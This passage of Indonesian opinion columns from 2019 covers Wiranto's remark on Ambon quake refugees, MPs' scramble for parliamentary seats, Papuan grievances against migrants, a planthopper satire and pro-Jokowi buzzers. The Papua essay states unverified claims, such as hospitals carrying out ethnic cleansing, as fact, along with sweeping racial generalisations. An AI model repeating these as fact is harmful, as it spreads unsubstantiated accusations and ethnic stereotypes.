merupakan tanggung jawab Wiranto itu akhirnya mendorong PBB melakukan Jajak Pendapat (Referemdum) atas Timtim. Presiden BJ Habibie terkena imbasnya. Padahal, Wiranto juga berperan. Kali ini Wiranto membuat sebagian masyarakat Maluku marah. Padahal, yang terjadi bukan kerusuhan seperti di Timtim (kini Timor Leste). Pangkal masalahnya adalah Wiranto minta pengungsi gempa Ambol kembali ke rumah agar tak menjadi beban pemerintah. Wiranto menyampaikan kondisi terkini di Ambon, Maluku pascagempa magnitudo 6,5 pada Senin (30/9/2019). Menurut Wiranto, hingga saat ini masih banyak masyarakat yang memilih bertahan di pengungsian meski gempa sudah tidak terjadi kembali. Banyaknya pengungsi ini disebut Wiranto akibat dampak dari penyebaran informasi yang menakut-nakuti warga akan gempa susulan dan ancaman tsunami. “Pengungsi ini ditakuti adanya informasi adanya gempa susulan yang lebih besar, ditakuti adanya tsunami akibat gempa, padahal tidak ada badan resmi manapun yang mengumumkan itu,” kata Wiranto di Kantor Kemenkopolhukam, Senin (30/9/2019). Oleh karena itu, dia berharap masyarakat untuk kembali ke rumah masing-masing karena situasi sudah aman dan pemerintah harus menanggung kehidupan mereka di pengungsian. “Diharapkan masyarakat bisa kembali ke tempat tinggal masing-masing untuk mengurangi besaran pengungsi, pengungsi terlalu besar ini sudah menjadi beban pemerintah baik pemerintah pusat maupun pemerintah daerah,” ucapnya. Sebelumnya, Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Maluku merilis korban jiwa akibat gempa bermagnitudo 6,5 yang terjadi di Ambon pada Kamis (26/9/2019) mencapai 20 orang. Pelaksana Tugas Kepala Pusat Data, Informasi, dan Humas Badan Nasional Penanggulangan Bencana Agus Wibowo dalam keterangan tertulisnya menyebutkan korban tewas tersebar di Kota Ambon sebanyak 8 orang, Kabupaten Maluku Tengah 10 orang dan Kabupaten Seram Bagian Barat 2 orang. Sedangkan, jumlah korban yang terluka, menurut data BPBD Provinsi Maluku, totalnya mencapai 152 orang yang tersebar di Kabupaten Maluku Tengah 108 orang, Kabupaten Seram Bagian Barat 13 orang dan Kota Ambon 31 orang. Gempa juga membuat 25 ribu warga mengungsi dan menyebabkan kerusakan 534 rumah, 12 rumah ibadah, delapan kantor pemerintahan, enam sarana pendidikan, satu fasilitas kesehatan, satu pasar dan satu jembatan. Wiranto sendiri membantah memiliki niat untuk menyakiti perasaan korban bencana gempa di Pulau Ambon, Maluku. Hal itu untuk mengklarifikasi pernyataannya bahwa banyaknya pengungsi gempa di Maluku telah menjadi beban bagi pemerintah pusat dan daerah. “Tidak ada alasan dan tidak mungkin saya sengaja melukai hati masyarakat Maluku yang sedang terkena musibah," ujar Wiranto dalam keterangan tertulis, seperti dilansir CNN Indonesia, Rabu (2/10/2019). Wiranto justru mengundang pejabat terkait yang menangani bencana alam, salah satunya Kepala BNPB Doni Monardo. Ia meminta Doni agar segera melakukan langkah-langkah cepat guna meringankan beban penderitaan masyarakat terdampak bencana gempa itu. Terkait hal itu, Wiranto menyampaikan pemerintah merasa perlu memberi penjelasan kepada masyarakat tentang keadaan yang sebenarnya dan mengimbau mereka agar kembali ke rumah masing-masing. Imbauan tersebut, kata Wiranto, disampaikan karena salah satu masalah yang dihadapi terkait pendidikan anak-anak hingga risiko penyakit. “Itu yang sebenarnya menjadi hasil rapat koordinasi yang dihadiri Kepala BNPB, Menteri Sosial, Menteri Kesehatan, Panglima TNI, Kapolri, dan Kabin di kantor Kemenkopolhukam,” ujar Wiranto. Wiranto menganggap ada pihak yang memutarbalikkan penjelasannya kepada masyarakat. Ia menilai hal itu untuk menyerang dirinya. *

Perebutan Kursi Pimpinan DPR-MPR yang "Menjijikkan"

Kalian berpesta pora di gedung parlemen. Bagi-bagi kursi pimpinan. Ketawa-ketiwi menyambut kenyamanan hidup kalian. Menyambut peluang-peluang korupsi yang bakal bertebaran di sekitar kalian. Korupsi yang tidak akan bisa lagi ditangkap tangan oleh KPK setelah kalian lumpuhkan lembaga antikorupsi itu dengan dukungan Presiden Jokowi. By Asyari Usman Jakarta, FNN - Memang kalian pantas disebut bejat. Setelah dilantik menjadi anggota DPR dan DPD, yang kalian tunjukkan di depan rakyat adalah perebutan kursi pimpinan DPR dan MPR. Kalian semua betul-betul poli-Tikus yang sebenarnya. Belum lagi teratasi ancaman terhadap nyawa para perantau non-Papua yang terlantar di Wamena dan di tempat-tempat pengungsian. Belum lagi kering tangis para keluarga korban kesadisan di Wamena. Belum lagi jelas apakah warga perantau di Papua bisa selamat kalau mereka harus bertahan karena tak punya pilihan lain. Belum lagi dibebaskan semua anak-anak yang ditahan dalam aksi unjuk rasa di Jakarta. Belum lagi hilang duka keluarga mahasiswa yang tewas di Kendari, Sulawesi Tenggara. Tapi, apa yang kalian kerjakan wahai para anggota DPR-DPD? Kalian hanya kasak-kusuk memperebutkan kursi ketua DPR dan ketua MPR. Setelah kursi ketua DPR diberikan kepada orang yang paling kuat posisi politknya di Indonesia ini, sekarang kalian bercokol untuk kursi ketua MPR. Orang Golkar merasa berhak Orang Gerindra merasa pantas. Orang DPD merasa wajar. Berhak, pantas, wajar menduduki kursi ketua MPR. Kalian saling sikut. Lobi sana, lobi sini. Sedikit pun kalian tak ingat korban pembacokan sadis di Wamena. Dan para korban pembakaran hidup-hidup di kota yang horor dan teror itu. Anak kecil dikapak kepalanya oleh penyerang ‘ethnic cleansing’ di Papua. Kalian berpesta pora di gedung parlemen. Bagi-bagi kursi pimpinan. Ketawa-ketiwi menyambut kenyamanan hidup kalian. Menyambut peluang-peluang korupsi yang bakal bertebaran di sekitar kalian. Korupsi yang tidak akan bisa lagi ditangkap tangan oleh KPK setelah kalian lumpuhkan lembaga antikorupsi itu dengan dukungan Presiden Jokowi. Sangat memalukan. Memuakkan. Menjijikkan. Tak pantas kalian dijuluki “anggota dewan yang terhormat”. Tak pantas kalian disebut senator rakyat. Karena kalian tidak punya kehormatan sama sekali. Ternyata! Bagaimana mungkin rakyat menyebut kalian “tehormat” kalau begini cara kalian duduk di DPR-DPD atas nama rakyat. Kalian bergembira-ria di gedung parlemen. Senang dilantik. Senang membayangkan segala macam fasilitas dan keistimewaan yang bakal kalian sandang sebagai anggota DPR-DPD. Sungguh luar biasa kalian yang tak punya hati. Foto-foto kalian yang tersenyum lebar, sudah dilihat oleh seluruh rakyat. Sudah viral foto-foto selfie kalian itu. Tapi, tahukah kalian kalau senyum-tawa dan foto-foto itu sama seperti air garam yang kalian siramkan ke luka fisik dan luka psikis korban kesadisan di Wamena? Kalian sungguh menjijikkan Penulis adalah Wartawan Senior

Mengapa Orang Papua Marah Kepada Pendatang?

Catatan ini ingin dibaca oleh Bapak Ir. Joko Widodo, Presiden Republik Indonesia 2019-2024 Oleh Natalius Pigai Jakarta, FNN - Tulisan ini saya tulis berdasarkan realitas yang dihadapi rakyat Papua. Saya telah melihat langsung, memantau, mendengar dan mencatat. Dimana seluruh isinya cek langsung ke rakyat Papua. Juga cerita-cerita dengan tidak kurang dari delapan Bupati dan mantan Bupati, serta pejabat masih aktif di pemerinhan Papua. Saya menulis ini adalah kontribusi saya sebagai penyelidik professional. Saya juga pernah menangani tidak kurang dari lima belas ribu kasus Hak Asasi Manusia (HAM) di Indonesia. Tulisan ini sebagai kontribusi saya untuk kebaikan dan perbaikan bersama (bonum commune). Lima puluh delapan tahun hidup dalam nestapa. Ratusan ribu orang Papua telah dibantai. Tragisnya, pembantaian tersebut, hanya didasari atas kebencian dan rasisme terhadap bangsa Papua, yang berkulit hitam dan rambut keriting. Kata-kata yang mengandung kekerasan verbal dengan sebutan monyet, kera, gorila, bahkan kete, telah lama diterima orang Papua. Pelakunya tidak hanya rakyat sipil biasa, tetapi justru dilakukan oleh aparat negara baik di Papua maupun di luar Papua. Makin lama pendatang bersikap, berperilaku dan berbuat rasis, dan dibalas dengan sikap segregatif rakyat Papua sebagai ungkapan sakit hati. Lebih ironis lagi aparat Intelijen, TNI dan Polri menjadikan kaum pendatang sebagai mitra, informen bahkan pasukan milisia. Secara sengaja atau tidak, aparat menggiring orang-orang sipil pendatang, yang tidak berdosa, dan sedang mengadu nasib di tanah Papua sebagai kelompok milisia. Itulah pemicu kebencian akut rakyat Papua terhadap pendatang. Jadi, mengapa hari ini bangsa Orang Papua dicaci maki, dicemooh, dimusuhi?. Mengapa tidak marah kepada aparat negara yang menggiring pendatang, rakyat sipil tidak berdoa bermain dalam bara api di Papua yang memang wilayah konflik. Mengapa semua bisu terhadap rilaku aparat ini? Mengapa seuma berdiam diri menganai prilaku buruk dari aparat intelijen kita ini Pernahkah kita tahu bahwa di Wamena, pusat kota dan di daerah lainnya HIV/AIDS berkembang cepat mengancam kepunahan bangsa Papua Melanesia? Bukan karena wanita-wanita melayu penjajah seks komersial menjual diri di “lokalisasi”. Karena memang tidak ada lokalisasi di Wamena. Namun mereka bikin gubuk-gubuk kecil di kios-kios, dan rumah makan pendatang. Ada istilah di rumah makan, mas mau makan apa? Daging mentah atau masak? Kalo daging mentah berarti berdagang seks. Sedangkan daging masak berarti makanan sebenarnya. Itulah ilustrasinya jika orang asli Papua makan. Ketika terjadi aksi protes oleh orang Papua di pusat-pusat kota, aparat sering kali intai orang Papua dari rumah-rumah pendatang. Atau di kios-kios, dan rumah makan pendatang. Seringkali memberondong peluru dari tempat-tempat tersebut ke arah orang Papua. Sudah terlalu banyak orang Papua mati karena pola-pola seperti ini. Cara-cara ini disaksikan oleh orang Papua. Memang Papua ini kota-kotanya kecil semua. Bila terjadi hal-hal seperti ini, dapat disaksikan dengan mudah, gampang, kasat mata, dan terang benderang. Tutur lisan menyebar seantero orang Papua dan modus-modus ini diketahui luas. Sekali lagi bukan murni prilaku pendatang. Tetapi pendatang yang digiring oleh aparat yang beroperasi di Papau. Mau tidak mau “harus manut”, apalagi ini wilayah konflik. Namun salah satu kelakuan yang tidak elok dipertontonkan para pendatang adalah dikala konflik atau cek cok mulut dengan orang Papua. Para pendatang selalu meminta atau berlindung dibalik laras senjata. Mereka tidak menempu jalur hokum. Saya tidak pernah menemukan orang pendatang melapor atau mencari keadilan di pengadilan melawan orang Papua secara fair. Judi togel marak dimana-mana di kota-kota Papua. Jualan minuman keras dikelola pendatang dibekingi oleh aparat. Pemandangan atas prilaku aparat yang seperti selalu menjadi tontongan menarik di seluruh wilayah Papua. Tidak mengherankan kalau kenyataan ini menimbulkan problem sosial di masyarakat. Apakah kita pernah tahu bahwa daerah penambangan liar dikuasai pendatang ? Jual minuman keras, peredaran narkotika, bahkan prostitusi seperti di Degeuwo, Tembagapura, daerah Mamberamo selalu dibekingi oleh aparat? Aparat membeckingi orang luar Papua untuk menguasai 3 sumber utama milik orang Papua. Pertama, merampas sumber daya alam dengan melakukan penambangan liar (ilegal mining), pengambilan ikan secara liar dan pengambilan kayu secara ilegal. Kedua, merampas sumber daya ekonomi orang Papua di seluruh pusat-pusat kota. Distribusi barang dan jasa dikuasai pendatang, sumber-sumber ekonomi juga dikuasai pendatang. Kios, pasar bahkan angkot dan ojek dikuasai pendatang. Ketiga, merampas hak politik rakyat Papua. Perampasan hari ini sudah merambah ke dunia birokrasi dan politik. Pendatang terlalu haus terhadap kekuasaan. Merejka mau menjadi Bupati, Wakil Bupati, DPR dengan cara sogok. Menghamburkan uang sana-sini untuk menguasai hasil pemilu. Pemilu hari ini nyaris dikuasai oleh kaum pendatang. Faktanya, ada kabupaten yang anggota DPR-nya nyaris hampir 100% adalah pendatang. Selain itu, ada lagi kabupaten yang satu keluarga 7 orang menjadi anggota DPRD setempat. Kalau ketiga sumber kehidupan utama orang Papua dikuasai, maka apakah masih ada harapan hidup bagi orang Papua? Masa depan bagi orang Papua tentu sudah suram. Ini adalah contoh-contoh yang bisa menimbulkan kecemburuan social orang Papua, yang sudah terakumulasi sangat lama. Apakah anda tahu bahwa Kepala Daerah dan Pejabat di Papua tersandera dan disandera oleh para kontraktor dan anak buahnya? Mereka hamper semuanhya adalah pendatang. Para kontraktor itu menggunakan aparat negara untuk memuluskan proyek. Bahkan sudah ada pencairan uang terlebih dahulu sebelum proyek berjalan. Semua itu karena tekanan dan terror dari kontraktor melalui aparat. Bupati hampir dipastikan disandera Kepala Dinas yang anggarannya besar seperti Dinas Pekerjaan Umum dan Keuangan. Mereka kerja sama dengan Polisi dan Jaksa, yang menteror Kepala Daerah dengan bukti penyalagunaan anggaran. Seakan-akan Bupati bermasalah. Ditunjukaan kepada Bupati surat panggilan palsu, SPDP Palsu. Akibatnya, kepala daerah ketakutan, sehingga selanjutnya hasil konspirasi merampok uang negara bermiliar-miliar. Seluruh Papua, auditor dari Badan Pemeriksa Keuangan (BPK) datang atau didatangi pejabat daerah untuk menyogok. Agar BPK mengeluarkan sebuah surat yang bernama “ telah selesai melakukan pemeriksaan”. Sekali lagi surat itu bernama “telah selesa melakukan pemeriksaan”. Padahal BPK tidak pernah periksa dan tidak pernah ada realisasinya. Akibatnya, semua rakyat Papua hari ini terheran-heran. Mengapa hampir semua kabupaten di Papua tiap tahun dapat predikat WTP (Wajar Tanpa Pengecualian)? Padahal mereka telah merampok uang rakyat Papua dalam jumlah yang besar tanpa pembangunan fisik. Aktor Intelektualnya (gurunya) itu adalah para pejabat non Papua. Kalau boleh saya jujur apa adanya, maka Rumah Sakit di Papua sudah dicap sebagai “tempat kematian”. Bukan tempat persemaian manusia. Bukan juga tempat kehidupan, apalagi rumah sakit pemerintah, termasuk milik Kepoisian. Sekarang rakyat Papua mulai curiga rumah sakit swasta sekalipun milik gereja. Orang Papua sangat takut ke rumah sakit. Mereka lebih memilih pengobatan alami. Telah lama rumah sakit dicurigai orang Papua sebagai tempat pembersihan etnis Papua (etnic cleansing). Rata-rata ibu muda yang pernah masuk rumah sakit saat hamil untuk melahirkan, namun tidak bisa melahirkan. Ada juga ibu orang Papua yang disuntik kesuburan tanpa persetujuan suami dan dirinya. Mungkin sang ibu ditanya saat mengalami kontraksi kesakitan mau melahirkan, sehingga tanpa sadar ibu tersebut mengiyakan untuk disuntik kesuburan. Memang rata-rata tampilan fisik bangunan dan didalam rumah sakit sangat “buluk”. Bahkan waktu saya dan Manager Nasution mantan anggota Komnas HAM sekarang di LPSK melihat langsung air kran di rumah sakit dok dua, rumah sakit nomor satu setanah Papua mati seminggu. Padahal air itu sangat vital. Kehidupan tanpa air, manusia pasti mati, apalagi di rumah sakit. Memang di dunia ini tenaga medis dan para medis itu istimewa. Mereka adalah wakil Tuhan di dunia. Namun untuk tanah Papua, tentu saja penilaian berbeda. Jangankan rumah sakit, orang Papua hari ini sudah kehilangan respek kepada Romo, apalagi Pendeta dan Kiyai. Telah lama suara kenabian hilang di tanah Papua Melanesia. Gereja telah menjadi alatnya penguasa. Gereja menjadi alat milik klik-klik misterius. Hambah Tuhan yang membela orang Papua mati mendadak di daerah pedalaman saat berhadapan dengan laras senjata. Tidak ada hukum negara di tanah Papua. Tidak ada keadilan dihadapan hukum bagi orang Papua. Keadilan hanya berlaku bagi mereka yang pendatang , kecuali orang Papua mau membayar “sogokan” kepada hakim, jaksa dan polisi. Orang Papua yang pejabat, begitu muda dan cepat dapat kuputusan pengadilan. Salinan keputusan hanya dalam hitungan hari sudah keluas. Sementara untuk orang Papua yang kecil dan miskin, begitu sulitnya mendapat keadilan. Hampir 58 tahun pengadilan yang menghukum orang non Papua atau aparat kepolisian, belum pernah saya lihat dan baca dokumennya. Padahal ada seorang anggota polisi yang dipenjara karena menyiksa dan membunuh di luar pengadilan (Extra Judicial Killing) dan selalu mendapat sorotan dunia. Namun tidak ditemukan dokumen putusan pengadilan. Semua rintihan, ratapan, kesedihan orang Papua terbungkam di kalbu rakyat Papua. Rakyat Papua tidak punya ruang ekspresi. Media massa dibungkam menjadi alat propaganda penguasa dan pendatang. Organisasi masyarakat sipil dan partai politik sebagai instrumen artikulator kepentingan rakyat Papua terbungkam. Kekebasan berekspresi menjadi sangat terbatas. Akibatnya, apa yang terjadi hari ini adalah meledaknya puncak gunung es yang sudah membeku dengan sangat lama sekali. Itu yang kurang di pahami negara dan rakyat Indonesia. Bangsa yang terdiri dari tokoh-tokoh nasional lintas suku dan agama sepatutnya meminta negara untuk mencari solusi penyelesaian masalah Papua secara bermartabat. Penyelesaian yang lebih progresif. Bukan sebaliknya meminta represi militer di Papua. Kalau hanya meminta operasi militer, maka tidak perlu minta lagi. Karena operasi militer itu sudah terjadi selama 58 tahun di tanah Papua. Rakyat Papua sudah terbiasa saban hari hidup dalam ancaman di tanah tumpa darah mereka sendiri. Tanah Papua adalah tanah milik bangsa Melanesia. Saya harus jujur sampaikan bahwa kita ini terdiri dari dua ras yang berbeda, yaitu Ras Negro Melanesia dan Ras Mongoloid Melayu. Ibarat minyak dan air. Tidak akan pernah bisa bersatu, kecuali kalau rasisme, Papua phobia dan diskriminasi dihilangkan dari negara ini. Itu terasa tidak mungkin karena diskriminasi di negeri ini sudah terlalu akut. Penulis adalah Pembela Orang Lemah

Pernyataan Wiranto, Isyarat Rendahnya Kewarasan Pejabat Publik

Jika perintah konstitusi tidak bisa diwujudkan oleh negara, maka pemerintahan di bawah kepemimpinan Presiden Jokowi sebaiknya meletakkan jabatan saja. Apa lagi yang harus kami harapkan dari pemerintah saat ini? Pemerintah telah mengkonfirmasi kegagalannya dalam mewujudkan tujuan bernegera sebagaimana diamanatkan oleh konstitusi. Oleh Dr. Ismail Rumadan Jakarta, FNN - Pernyataan Menteri Koordinator Bidang Politik, Hukum dan Keamanan (Menkopolhukam) Wiranto beberpa waktu lalu terkait dengan penanganan pengunsi akibat gemba bumi di Maluku sangat miris mendengarnya. Pernyataan yang sangat tidak layak dan pantas disampaikan oleh seorang pejabat publik. Sebab pernyataan semacam itu menggambarkan rendahnya kewarasan pejabat publik. Pernyataan bahwa Wiranto “membebani pemerintah, pengunsi gempa bumi di Ambon sebaiknya kembali ke rumah”. Walaupun beberapa hari kemudian pernyataan tersebut diklarifikasi lagi oleh Wiranto. Namun masyarakat Ambon dan Maluku secara keseluruhan saat ini sudah terlanjur marah, kecewa, tidak percaya dan tidak simpati dengan lagi dengan Wiranto maupun pemerintah pusat. Bagi kami masyarakat Maluku, pernyataan Wiranto tersebut bukanlah suatu penyataan yang dianggap sederhana saja. Namun pernyataan tersebut sangat serius dari seorang Menkopolhukam sebagai representasi dari pemerintah. Pernyatan itu , sekaligus secara tidak langsung mengkonfirmasi bahwa hari ini pemerintah telah gagal dan tidak mampu untuk mengurus permasalahan bangsa dan negara. Kita mengetahui bahwa berbagai gejolak politik dan soasial saat ini terjadi di hampir setiap daerah. Ada demostrasi mahasiswa yang merebak di setiap wilayah. Kabut asap yang takujung reda akibat kebakaran hutan di Sumatera. Pembantaian terhadap masyarakat sipil pendatang, khususnya orang Minang dan Biugis di Wamewa Papua yang belum tuntas diselesaikan. Pemerintah terkesan lamban untuk mengatasi gejolak sosial yang terjadi di Papua, sehingga banyak korban yang berjatuhan. Bahkan menurut dugaan sementara, korban yang berjatuhan tidak saja di Kebupaten Wamena. Tetapi juga di daerah, khususnya di tempat pendulan emas, banyak masyarakat pendatang juga menjadi korban. Akumulasi dari berbagai permasalahan bangsa di atas tidak mampu ditangani secara serius dan benar okeh pemerintah, bahkan terkesan pemerintah mengalami kebingunan dan memperluhatkan ketidakprofesionalannya dalam mengurus permasalahan tersebut, sehingga pada puncaknya muncul pernyataan yang sungguh mengejutkan dari Menteri Polhukam tersebut. Sadar atau tidak pernyataan Wiranto tersebut telah mengkonfirmasi bahwa pemerintah telah gagal. Pemerintah tidak sanggup lagi untuk menjalankan amanat dan tujuan beregara sebagaimana tertera dalam Pe,mbukaan UUD 1945. Negara harus hadir untuk melindungi segenap bangsa dan seluruh tumpah darah Indonesia. Jadi konsekuensi dari rumusan konstitusi tersebut diatas, harus diterjemahkan ke dalam setiap kebijakan pemerintah utuk menyikapi semua permasalahan yang muncul di tengah masyarakat. Pemerintah dalam mengambil sikap seharusnya : Pertama, negara harus meberikan jaminan kehidupan bagi setiap warga negara Indinesia secara adil dan makmur tanpa memandang siapa, dan dari mana tempat asalnya. Kedua, negara juga harus menjamin hak-hak warga negara menikmati pendidikan dan penghidupan yang layak. Negara tidak boleh membiarkan warganya hidupa menderita akibat tertimpah sebuah bencana satu menit sekalipun. Ketiga, negara menjamin keamanan warga negara dari ancaman bahaya baik itu dari luar maupun dari dalam negeri. Konsekuensi logis dari amanat konstitusi tersebut menunjukan bahwa siapapun orangnya, dimanapun wilayahnya, jika dia adalah warga negara Indonesia yang sedang diserang, mendapat ancaman, dan tertimpa musibah benca, maka negara harus hadir untuk memberikan perlu dungan yang layak. Haram hukumnya negara menunjukan sikap tidak mampuannya di depan publik. Kerana masyarakat sangat membutuhkan hadirnya negara untuk mengatasi permasalahan yang dialami warga negaranya. Jika perintah konstitusi tidak bisa diwujudkan oleh negara, maka pemerintahan di bawah kepemimpinan Presiden Jokowi sebaiknya meletakkan jabatan saja. Apa lagi yang harus kami harapkan dari pemerintah saat ini? Pemerintah telah mengkonfirmasi kegagalannya dalam mewujudkan tujuan bernegera sebagaimana diamanatkan oleh konstitusi. Padahal warga negara sudah menyerahkan semua kekayaan alam baik yang di darat, laut, maupun udara untuk diatur dan dikelola oleh Negara. Semua kekayaan alam itu mutlak harus digunakan bagi sebesar-besarnya kesejahteraan rakyat. Tidak lain dari kesejahteran rakyat. Selanjutnya dalam konteks mengelola megara saat ini, jika saja pemerintah sudah menyerah. Tidak sanggup lagi mengurus warganya, maka sebaiknya pemerintah kembalikan saja semua urusan itu kepada warga negara sendiri. Apalagi kami warga di propinsi Maluku. Biarkanlah kami mengurus wilayah dan rakyat kami sendiri. Sebab sumber daya alam yang ada di Maluku sangat melimpah ruah. Kami rakyat Maluku sangat tidak layak dianggap seperti orang yang tidak memiliki apa-apa di mata pemerintahan ini. Bahkan sumberdaya manusia di Maluku sudah siap utuk mengelolah wilayahnya sendiri. Penulis adalah Pengajar Fakultas Hukum Universitas Nasional Jakarta

Federasi Wereng Dunia Mengutuk Keras Wereng Coklat Indonesia

Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Federasi Wereng Dunia (World Planthoppers Federation atau WPF) kemarin mengutuk keras perilaku wereng coklat (wercok) Indonesia. WPF juga membekukan keanggotaan Asosiasi Wereng Indonesia (AWI) di organisasi wereng internasiona itu. Tindakan ini diambil karena perilaku wercok Indonesia sudah sangat keterlaluan. WPF mengeluarkan kecaman keras itu pada penutupan kongres ke-74 mereka yang berlangsung di Los Banos, tak jauh dari Manila, Filipina. Kongres ini dilaksanakan selama lima hari. Kongres 74 WPF luput dari perhatian media antara lain karena dipercepat mendadak mengingat perkembangan yang mencemaskan di Indonesia. Kongres wereng dunia kali ini dihadiri oleh utusan dari semua anggota. Ada 118 utusan nasional dari 118 negara. Tidak ada yang absen. Dan semua utusan dipimpin lanngsung oleh ketua umum nasional masing-masing. Padahal, di dalam kongres-kongres terdahulu, tidak pernah semua negara hadir. Semua kelompok wereng dari semua ideologi dan warna, datang ke kongres ini. Ada wereng putih yang berideologi kapitalisme. Ada wereng kuning dengan aliran marxisme-leninisme. Ada wereng hitam yang beraliran sosialis. Ada wereng ungu yang beraliran liberal, dlsb. Semuanya hadir. Kecuali Asosiasi Wereng Indonesia (AWI). Seekor jurubicara AWI mengatakan, mereka menolak hadir karena waktu kongres diubah. Namun, seekor wereng yang dekat dengan pengurus AWI mengatakan, AWI tidak mau mengirimkan utusan karena sudah tahu agenda kongres yang pasti memojokkan wercok Indonesia Dan, memang, ada satu hal yang menyatukan WPF di kongres ini. Yaitu perilaku wercok. Perhatian wereng internasional sangat serius terhadap perkembangan di Indonesia. Mereka bahkan mempercepat pelaksanaan kongres 74 ini dengan alasan perkembangan yang sangat mencemaskan di kalangan wereng wercok Indonesia. Seharusnya, kongres 74 dilaksanakan pada awal 2020. Sekjen WPA, Werrengbrutalou Kouklatakis (asal Yunani) membenarkan bahwa semua asosiasi nasional wereng di dunia sepakat mempercepat kongres karena ada masalah besar di Indonesia. Menurut Kouklatakis, tindak-tanduk wercok di Indonesia sangat mempermalukan masyarakat wereng internasional. Dan, agenda utama kongres 74 ini didominasi oleh sepak-terjang wercok di Indonesia. Menurut Sekjen, wereng dari semua warna dan aliran memang menjadi musuh tanaman padi di seluruh dunia. “Tetapi, apa-apa yang kami lakukan terhadap padi masih dalam batas-batas yang wajar,” kata Kouklatakis. Dia mengakui, di mana-mana wereng memang merusak banyak sawah rakyat. Namun tidak sampai membunuh manusia. “Bagaimana dengan wercok Indonesia? Lihat saja mereka brutal dan beringas. Sampai membuat manusia mati,” ujar Kouklatakis. Aats nama wereng dari semua warna dan semua idelogi di seluruh dunia, Sekjen WPA menyampaikan permintaan maaf kepada orang Indonesia atas perilaku kejam yang ditunjukkan oleh wercok. Dia mengatakan lagi, wercok ada di mana-mana. Tetapi, wercok di Indonesia sangat luar biasa. Kuoklatakis merasa heran mengapa wercok menjadi sangat ganas di Indonesia. Dia menduga, ada pihak yang telah mengubah gen wercok di sini. Sekjen berjanji akan melakukan penelitian genetika di kalangan wercok Indonesia. WPA juga mengeluarkan ultimatum keras. Kalau wercok tetap berperilaku brutal, sadis dan beringas, maka pihak WPF akan mengirimkan tim ilmuwan yang akan mengganti gen wercok Indonesia dengan gen terburuk. Di lingkungan wereng, mengganti gen adalah hukuman terberat. Sebab, apabila dilakukan penggantian gen, maka wercok akan berubah menjadi lemah dan pemalas. Yang menarik dari kongres wereng di Los Banos ini ialah pilihan tempatnya. Los Banos adalah kota kecil tempat berkantornya International Rice Research Institute (Institut Penelitian Padi Internasional atau IRRI). Dari sinilah dilahirkan berbagai varitas padi unggul yang dikenal dengan sebutan “IR”. Mengapa Federasi Wereng Dunia (WPF) memilih Los Banos? Menurut Kouklatakis, pilihan ini untuk menunjukkan simpati kepada tanaman padi. Selama ini padi adalah target wereng. Hari ini, komunitas wereng internasional bersatu padu dan ingin menyampaikan simpati kepada Indonesia. Dia mengatakan Indonesia memiliki jutaan hektar tanaman padi. Sayangnya, saat ini Indonesia sedang mengalami amukan wereng coklat, kata Kouklatakis.[03 September 2019)

TEMPO Benar, Buzzer Jokowi Berbahaya!

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Judul tulisan Tempo.co, Sabtu (28/9/2019), Saatnya Menertibkan Buzzer, cukup menarik. Ini kali kesekian Tempo menulis berita secara objektif. Tidak ditutup-tutupi. Dalam tulisan ini Tempo menulis buzzer Joko Widodo yang membahayakan. Melansir Tempo, Jokowi harus mengendalikan pendengungnya, yang semakin lama semakin ngawur. Berpotensi merusak demokrasi. Tingkah buzzer pendukung Presiden Jokowi makin lama makin membahayakan demokrasi di negeri ini. Berbagai kabar bohong mereka sebarkan dan gaungkan di medsos untuk mempengaruhi opini dan sikap publik. Para pendengung menjadi bagian dari kepentingan politik jangka pendek: mengamankan kebijakan pemerintah. Para pendengung itulah yang pertama kali menyebarkan kabar tentang ambulans berlogo pemerintah DKI Jakarta yang berisi batu saat unjuk rasa pelajar sekolah menengah atas pekan lalu. Terekam oleh Drone Emprit, aplikasi pemantau percakapan di dunia maya. Cuitan mereka itu lebih cepat beberapa jam dibanding akun resmi TMC Polda Metro Jaya. Sebagian diantaranya mengolok-olok Gubernur DKI Jakarta Anies Baswedan, yang mereka perangi sejak pemilihan Gubernur DKI 2017. Belakangan, polisi menyatakan kabar itu tidak benar. Salah satu diantaranya penyebar kabar “tidak benar” itu adalah Denny Siregar. Lewat akun twiternya @Dennysiregar7, Ambulan pembawa batu ketangkap pake logo @DKIJakarta pukul 1.24 AM Sep 26, 2019. 2.16 AM Sep 26, 2019 @TMCPoldaMetro mengunggah: 02:14 Polri amankan 5 kendaraan ambulan milik Pemprov DKI Jakarta yang digunakan untuk mengangkut batu dan bensin yang diduga untuk molotov di dekat Gardu Tol Pejompongan Jl. Gatot Subroto. Peristiwa itu membuat Wapres Jusuf Kalla yang juga Ketua Umum PMI kecewa. Apalagi, dalam video itu menuduh mobil ambulan milik PMI membawa batu dan bensin untuk massa saat bentrok dengan aparat kepolisian. Namun, setelah sempat diunggah di akun Twitter dan Instagram @TMCPoldaMetro, Kamis (26/9/2019) unggahan itu telah dihapus. Pengurus PMI Pusat Bidang Relawan Muhammad Muas mengatakan, Wapres JK merasa kecewa dengan tuduhan ini. JK minta kasus ini tuntas agar PMI di mata masyarakat tak menjadi buruk. “Dia kecewa juga. Sebagai Ketum PMI, dia kecewa bahwa hal-hal yang mungkin tidak diinginkan, terjadi. Gitu saja. PMI kan enggak mungkin ini ya (membawa batu). Relawan itu jujur kok,” katanya. Menurutnya, JK telah memerintahkan Menpan RB Syafruddin untuk mengklarifikasi bahwa tak ada ambulan milik PMI yang membawa batu dan bensin. “Justru saat mendapat informasi dia meminta Bang Syafruddin,” ungkap Muas. “Dia diminta telepon Pak Wahyu (Wakapolda Metro Jaya, Brigjen Wahyu Hadiningrat). Pak JK tak mau ini selesai begitu saja. Cuma dia enggak mau langsung turun. Harus kami yang turun. Yang penting dia tegas menyatakan, ini harus diselesaikan,” tegas Muas. Dalam kasus seleksi calon pemimpin KPK dan revisi Undang-Undang KPK, seperti ditulis Tempo, para pendengung menyebarkan agitasi bahwa lembaga itu dikuasai kelompok agama garis keras yang mereka sebut Taliban. Mereka menyebut Novel Baswedan, penyidik yang dikenal gigih mengusut pelbagai kasus korupsi jumbo, sebagai antek khilafah. Kala timbul dukungan pada KPK, mereka menyerang para pendukung itu dengan memberi mereka label pendukung khilafah. Tempo memberitakan, sesungguhnya, para buzzer ini adalah produk gagal dari era kebebasan berpendapat. Memanfaatkan kemampuan menulis – sebagian diantara buzzer Jokowi adalah bekas wartawan – dan fanatisme pembacanya, mereka mengemas kabar bohong sedemikian rupa sehingga terlihat benar. Kadang disertakan pula bumbu “berdasarkan sumber intelijen”. Diterpa arus 